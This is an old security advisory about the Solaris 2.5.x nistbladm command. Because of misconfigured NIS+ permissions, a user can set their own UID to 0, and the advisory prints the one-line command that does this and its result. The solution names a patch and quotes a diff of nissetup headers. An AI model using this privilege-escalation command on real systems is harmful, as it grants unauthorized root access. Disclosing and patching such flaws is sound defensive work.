COMMAND

    nistbladm

SYSTEMS AFFECTED

    Solaris 2.5.x

PROBLEM

    Ever  tried  to  change  your  NIS+  password with the "nistbladm"
    command?  Works fine, but you can also change your UID ....

        $ nistbladm -e uid=0 '[name=alice]',passwd.org_dir

        $ niscat passwd.org_dir | grep alice
        alice:xedvtAgfruijg:0:1001:........

SOLUTION

    Patches were released  about a year  ago for this.  Installing the
    patch in itself isn't enough,  of course, once you've runa  broken
    nissetup  you've  got  broken  permissions  you'll  need to fix by
    hand.  Patch for SunOS 5.5 is 103266-01. There is no equivilent
    patch for 2.5.1, but from a diff of the stock 2.5.1 nissetup and
    the 2.5 patched one, the patch seems to be already incorporated
    into 2.5.1:

        < # @(#)nissetup.sh     1.8 92/04/24   Copyright 1992 Sun Microsystems Inc.
        ---
        > # @(#)nissetup.sh     1.16    96/02/10        Copyright 1992-1996, Sun Microsystems, Inc.